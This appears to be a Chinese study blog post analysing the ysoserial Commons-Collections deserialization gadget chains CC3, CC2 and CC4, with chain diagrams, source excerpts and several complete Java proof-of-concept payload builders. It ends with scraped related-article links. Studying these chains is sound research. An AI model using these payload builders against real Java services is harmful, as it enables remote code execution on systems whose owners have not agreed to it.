ysoserial的代码,会发现CommonsCollections3和上述代码并不同,没有使⽤到InvokerTransformer。原因是因为:2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller中就有过滤InvokerTransformer。针对此情况ysoserial的CC3变换InvokerTransformerInstantiateTransformer同时使用了TrAXFilter

整理一下这后半段的思路:

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
} if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

现在我们需寻找哪个类的方法调用了newTransformer()Find Usages一下发现在TrAXFilter类的构造方法直接可以调用TemplatesImplnewTransformer()

public class TrAXFilter extends XMLFilterImpl {
private Templates _templates;
private TransformerImpl _transformer;
private TransformerHandlerImpl _transformerHandler;
private boolean _useServicesMechanism = true; public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

但是我们可以注意到TrAXFilter这个类是不能进行序列化的,但是它的类是可以序列化的,同时我们可以在commons-collections中找到这样一个类:InstantiateTransformer,它的transform方法可以实例化一个类

public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

所以我们整体的思路就出来了

ysoserial整体思路:

--ObjectInputStream.readObject()
--AnnotationInvocationHandler.readObject()
--Map(Proxy).entrySet()
--AnnotationInvocationHandler.invoke()
--LazyMap.get()
--ChainedTransformer.transform()
--ConstantTransformer.transform()
--InstantiateTransformer.transform()
--TrAXFilter(Templates templates)
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map; public class CC32 {
public static void main(String[] args) throws Exception{
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
setFieldValue(templatesImpl, "_name", "name");
setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}), };
ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
hashMap.put("value","123");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
clazzDeclaredConstructor.setAccessible(true);
Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); //serialize(o);
unerialize("CC32.ser");
}

运行结果:

Commons-Collections的变动

背景:

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

内部包的改动:

前后变化的比较大,俩个版本的库是能够共存的,放在pom.xml中比较一下

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

PriorityQueue利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform后面的部分就是我们熟悉的命令执行或代码执行。

CC2

利用链分析:

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

优先队列(Priority Queue):java中基于二叉推实现。正常进队,按照优先级出的队列,优先级由comparator来决定。

java.util.PriorityQueue 类重写了 readObject()方法:

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject(); // Read in (and discard) array length
s.readInt(); queue = new Object[size]; // Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject(); // Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator 中的compare调用 transform() 方法的函数:

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

总结下来就是:

当优先队列(Priority Queue)反序列化的时候调用heapify()方法恢复二叉推的结构,将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较,这个时候就会调用对应的compare()方法

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。
  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。
  • 排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。
  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

CC2这一条利用的是:InvokerTransformer无数组的代码执行。

整体思路:

--PriorityQueue.readObject()
--PriorityQueue.heapify()
--PriorityQueue.siftDown()
--PriorityQueue.siftDownUsingComparator()
--TransformingComparator.compare()
--InvokerTransformer.transform()
--TemplatesImpl.newTransformer()
--TemplatesImpl.getTransletInstance()
--TemplatesImpl.defineTransletClasses()
--TemplateClassLoader.defineClass()
--TemplatesImpl.getTransletInstance()

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC2 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(templatesImpl);
priorityQueue.add(1); Class clazz = TransformingComparator.class;
Field transformer = clazz.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer); //serialize(priorityQueue);
unserialize("CC2.ser");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser"));
objectOutputStream.writeObject(obj);
System.out.println("Successful Serialize");
}
public static void unserialize(String filename) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
System.out.println("Successful Unserialize");
}
}

CC4

版本限制:

jdk版本:jdk7,8没有限制

commons-collections:

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

背景:

在CC2的利用背景下,改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

利用链分析:

首先需要明白:如果要getshell:1.命令执行,2.代码执行。CC4的链虽说是引入了新的commons-collections包,但是整体的思路还是没有发生变化,后半部分可以使用命令执行(Runtime类)或者代码执行(Templatelmpl调用链)。在ysoserial中使用的是无InvokerTransformer的代码执行。我按照ysoserial的利用链模式来分析。

byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以直接对transform方法开始FindUsagesTransformingComparatorcompare()方法可以调用chainedTransformertransform()

public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

compare方法进行FindUsages可以找到PriorityQueue类的readObject()方法里调用heapify()heapify()方法里调用了siftDown()siftDown()方法里调用了siftDownUsingComparator(k, x),其又可以调用TransformingComparator类的compare方法

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

所以整条利用链就可以这样写:

import com.sun.net.httpserver.Authenticator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); serialize(priorityQueue);
unserialize("CC4.ser");
}

结果就是序列化和反序列化都没有弹出计算器。我们debug一下找错误,既然反序列化是从readObject()开始,我们就从PriorityQueuereadObjct()开始打断点,问题出现在了:

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

我们需要进行priorityQueue.add(1)俩次才可以解决问题,(因为这里涉及到数据结构,但我没有学过,所以这里做个标记)。所以整理后的利用链如下:

public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templatesImpl),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1);
priorityQueue.add(2); //serialize(priorityQueue);
unserialize("CC4.ser");
}

结果我们发现序列化和反序列化都可以弹出计算器,跟进priorityQueue.add()发现其最终会调用transform()方法,和前面的CC6一样,我们首先需要将其断开,再add()以后利用反射重新将其连接即可。

利用链思路:


完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue; public class CC4 {
public static void main(String[] args) throws Exception {
byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator); priorityQueue.add(1);
priorityQueue.add(2); Class clazz = ChainedTransformer.class;
Field iTransformers = clazz.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers); //serialize(priorityQueue);
unserialize("CC4.ser");
}

运行结果:

参考链接

Ysoserial 利用链分析

Java 反序列化漏洞系列-2

ysoserial源代码

Commons-Collections反序列化的更多相关文章

  1. Apache Commons Collections 反序列化详细分析学习总结

    0x01.环境准备: Apache Commons Collections 3.1版本,下载链接参考: https://www.secfree.com/a/231.html jd jui地址(将jar ...

  2. ysoserial分析【一】 之 Apache Commons Collections

    目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...

  3. ysoserial Commons Collections2反序列化研究

    Apache Commons Collections2反序列化研究 环境准备 JDK 1.7 Commons Collections 4.0 javassit 前置知识 PriorityQueue() ...

  4. ysoserial Commons Collections1反序列化研究

    Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...

  5. 关于java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap的错误解决办法

    在JavaEE开发中,在把配置文件中的数据或用户表单提交上来的数据,封装在相应JavaBean的对象的对应属性中时:在实际开发中,使用第三方法工具包BeanUtils(commons-beanutil ...

  6. java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap报错解决

    在使用 commons-beanutils-1.9.2.jarcommons-logging-1.1.1.jar 的时候报错 java.lang.NoClassDefFoundError: org/a ...

  7. java.lang.ClassNotFoundException: org.apache.commons.collections.FastHashMap

    七月 26, 2017 1:52:15 上午 org.apache.catalina.core.StandardWrapperValve invoke严重: Servlet.service() for ...

  8. 出现java.lang.NoClassDefFoundError: org/apache/commons/collections/FastHashMap错误问题解决

    首先出现这个问题,你应该是用了 BeanUtils.populate(meter,map); import org.apache.commons.beanutils.BeanUtils;并且导入了co ...

  9. ysoserial Commons Collections3反序列化研究

    0x00 前言 在ysoserial中,官方是没给gadget,这儿经过文章分析我认为的gadget,继承自AbstractTranslate的类被Javassist插桩后返回一个被修改过的templ ...

  10. Apache Commons Fileupload 反序列化漏洞分析

    下面是k8脚本. # -*- coding: utf-8 -*- # Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3) D ...

随机推荐

  1. js day04 综合案例秒数计算

    <script>         //用户输入总秒数         let second = +prompt('请输入总秒数:')         //计算时分秒         fun ...

  2. JavaScript入门⑤-欲罢不能的对象原型与继承-全网一般图文版

    JavaScript入门系列目录 JavaScript入门①-基础知识筑基 JavaScript入门②-函数(1)基础{浅出} JavaScript入门③-函数(2)原理{深入}执行上下文 JavaS ...

  3. 2022年Kubernetes CKA 认证真题解析完整版

    第一题 RBAC授权问题权重: 4% 设置配置环境:[student@node-1] $ kubectl config use-context k8s Context为部署管道创建一个新的Cluste ...

  4. Semaphore信号量源码解析(基于jdk11)

    目录 1.Semaphore信号量源码解析(基于jdk11) 1.1 Semaphore概述 1.2 Semaphore的原理 1.2.1 基本结构(jdk11) 1.2.2 可中断获取信号量 1.2 ...

  5. Hexo博客搭建和简单部署

    title: Hexo博客搭建和简单部署 date: 2020-03-02 12:00:00 categories: - [IT,博客] - [IT,软件,程序] - [IT,软件,搭建与配置] ta ...

  6. 全网最全的linux上docker安装oracle的详细文档,遇到了n个问题,查了几十篇文章,最终汇总版,再有解决不了的,私聊我,我帮你解决

    目录 全网最全的linux上docker安装oracle的详细文档,遇到了n个问题,查了几十篇文章,最终汇总版,再有解决不了的,私聊我,我帮你解决 1. 拉取阿里镜像oracle 2. 创建初始化数据 ...

  7. vue后退页面刷新数据和缓存数据

    我们在项目中经常使用this.$router.go(-1)  但是,有时我们需要把前一个页面的数据进行缓存,有时需要刷新数据,下面来记录一下怎么操作吧 首先:在vue项目中缓存页面我们能想到 keep ...

  8. 基于SqlSugar的开发框架循序渐进介绍(24)-- 使用Serialize.Linq对Lambda表达式进行序列化和反序列化

    在上篇随笔<基于SqlSugar的开发框架循序渐进介绍(23)-- Winform端管理系统中平滑增加对Web API对接的需求>中介绍了基于一个接口,实现对两种不同接入方式(直接访问数据 ...

  9. 升级csproj文件为vs2017工程格式(SDK样式)

    csproj文件在VS2017后格式变更为SDK样式.framework项目如果需要源链接等等功能,需要进行手动升级. 升级过程 升级需要Project2015To2017Nuget包. > d ...

  10. xpath解析数据的方法

    1 功能描述 2 1.实例化一个etree对象,且需要将被解析的页面源码数据加载到该对象中 3 2.调用etree对象中的XPath表达式实现标签的定位和内容捕获 4 3.环境安装 pip insta ...